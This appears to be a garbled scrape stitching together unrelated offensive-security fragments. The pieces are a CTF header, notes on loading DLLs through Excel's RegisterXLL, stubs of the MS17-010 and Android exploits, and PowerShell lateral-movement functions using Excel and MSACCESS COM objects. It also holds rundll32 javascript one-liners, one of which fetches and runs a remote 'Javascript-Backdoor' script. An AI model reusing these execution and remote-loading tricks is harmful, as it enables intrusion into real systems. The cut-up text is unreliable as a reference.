boy1337 bb33bb

GoGoGadget (1 solve)

Tool credits : @scwuaptx, pwngdb for making public awesome malloc research

Layout

*------------------------------*
 Hi Inspector!

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

	//Android.mk にて、「LOCAL_CFLAGS := -fno-stack-protector -mno-thumb -O0」を指定すること。

	#include <stdio.h>
	#include <stdlib.h>
	#include <sys/socket.h>
	#include <arpa/inet.h>
	#include <pthread.h>
	#include <sys/mman.h>
	#include <sys/syscall.h>
	#include <linux/futex.h>

	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	import sys
	from struct import pack

	if len(sys.argv) < 4:
	print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
	sys.exit()

	sc_x86 = open(sys.argv[1], 'rb').read()
	sc_x64 = open(sys.argv[2], 'rb').read()

	WEB
	1
	https://ringzer0team.com/IQY

	Selection=EntirePage
	Formatting=RTF
	PreFormattedTextToColumns=True
	ConsecutiveDelimitersAsOne=True
	SingleBlockTextImport=False
	DisableDateRecognition=False

	/** Example using the COM interface without AutoCOM. The entire
	* file can be automated with AutoCOM in under 15-lines of code.
	*
	* #include "autocom.hpp"
	* int main(int argc, char *argv[])
	* {
	* com::Bstr text;
	* com::Dispatch dispatch("VBScript.RegExp");
	* dispatch.put("Pattern", L"\\w+");
	* for (auto match: dispatch.iter("Execute", L"A(b) c35 d_[x] yyy")) {

	function Invoke-ExcelMacroPivot{
	<#
	.AUTHOR
	Matt Nelson (@enigma0x3)
	.SYNOPSIS
	Pivots to a remote host by using an Excel macro and Excel's COM object
	.PARAMETER Target
	Remote host to pivot to
	.PARAMETER RemoteDocumentPath
	Local path on the remote host where the payload resides

	rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

	<#
	Lateral Movement Via MSACCESS TransformXML
	Author: Philip Tsukerman (@PhilipTsukerman)
	License: BSD 3-Clause
	Required Dependencies: None
	Optional Dependencies: None
	#>

	function Invoke-AccessXSLT {
	<#